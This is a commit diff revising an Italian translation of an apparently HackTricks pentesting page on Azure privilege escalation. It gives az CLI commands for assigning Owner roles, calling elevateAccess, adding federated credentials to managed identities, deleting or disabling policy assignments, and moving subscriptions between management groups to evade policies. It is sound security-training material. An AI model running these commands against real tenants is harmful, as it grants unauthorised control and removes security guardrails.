Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:48:09 +00:00
parent 11925ac932
commit d9ee2d5edd

View File

@@ -4,7 +4,7 @@
## Azure IAM
Per ulteriori informazioni controlla:
Per maggiori informazioni consulta:
{{#ref}}
../az-services/az-azuread.md
@@ -12,14 +12,14 @@ Per ulteriori informazioni controlla:
### Microsoft.Authorization/roleAssignments/write
Questo permesso consente di assegnare ruoli ai principi su un ambito specifico, consentendo a un attaccante di elevare i privilegi assegnando a se stesso un ruolo più privilegiato:
Questa autorizzazione consente di assegnare role a principal su uno scope specifico, permettendo a un attacker di scalare i privilegi assegnandosi un role più privilegiato:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Questo permesso consente di modificare i permessi concessi da un ruolo, permettendo a un attaccante di elevare i privilegi concedendo più permessi a un ruolo che ha assegnato.
Questa permission permette di modificare le permissions concesse a un role, permettendo a un attacker di escalate privileges concedendo più permissions a un role che ha assegnato.
Crea il file `role.json` con il seguente **contenuto**:
```json
@@ -42,10 +42,10 @@ az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Questa autorizzazione consente di elevare i privilegi e di poter assegnare permessi a qualsiasi principale per le risorse Azure. È destinata a essere concessa agli Amministratori Globali di Entra ID in modo che possano gestire anche i permessi sulle risorse Azure.
Questa autorizzazione consente di elevare i privilegi e di assegnare permessi a qualsiasi principal sulle risorse Azure. È pensata per essere assegnata agli Entra ID Global Administrators in modo che possano anche gestire le autorizzazioni sulle risorse Azure.
> [!TIP]
> Penso che l'utente debba essere Amministratore Globale in Entra ID affinché la chiamata di elevazione funzioni.
> Penso che l'utente debba essere Global Administrator in Entra ID affinché la chiamata elevate funzioni.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Questo permesso consente di aggiungere credenziali federate alle identità gestite. Ad esempio, consente di dare accesso a Github Actions in un repository a un'identità gestita. Quindi, consente di **accedere a qualsiasi identità gestita definita dall'utente**.
Questa autorizzazione permette di aggiungere Federated credentials alle managed identities. Ad esempio, concedere l'accesso a Github Actions in un repo a una managed identity. Poi, consente di **accedere a qualsiasi managed identity definita dall'utente**.
Esempio di comando per dare accesso a un repository in Github a un'identità gestita:
Esempio di comando per concedere l'accesso a un repo Github a una managed identity:
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Un attaccante con il permesso `Microsoft.Authorization/policyAssignments/write` o `Microsoft.Authorization/policyAssignments/delete` su un management group, subscription, o resource group può **modificare o eliminare le assegnazioni di policy di Azure**, potenzialmente **disabilitando restrizioni di sicurezza** che bloccano operazioni specifiche.
Questo consente l'accesso a risorse o funzionalità che in precedenza erano protette dalla policy.
**Eliminare un'assegnazione di policy:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Disabilitare un'assegnazione di policy:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Verifica le modifiche:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
Un attacker con il permesso `Microsoft.Authorization/policyDefinitions/write` può **modificare le definizioni di policy di Azure**, cambiando le regole che controllano le restrizioni di sicurezza in tutto l'ambiente.
Ad esempio, una policy che limita le regioni consentite per la creazione di risorse può essere modificata per consentire qualsiasi regione, oppure l'effetto della policy può essere cambiato per renderla inefficace.
**Modificare una definizione di policy:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Verifica le modifiche:**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Un aggressore con il permesso `Microsoft.Management/managementGroups/write` può **modificare la struttura gerarchica dei management groups** o **creare nuovi management groups**, potenzialmente eludendo policy restrittive applicate a livelli superiori.
Ad esempio, un aggressore può creare un nuovo management group senza policy restrittive e poi spostare le subscriptions al suo interno.
**Crea un nuovo management group:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Modificare la gerarchia dei management group:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Verificare le modifiche:**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
Un attacker con il permesso `Microsoft.Management/managementGroups/subscriptions/write` può **move subscriptions between management groups**, potenzialmente **evading restrictive policies** spostando una subscription in un gruppo con politiche meno restrittive o assenti.
**Spostare una subscription in un diverso management group:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Verifica le modifiche:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}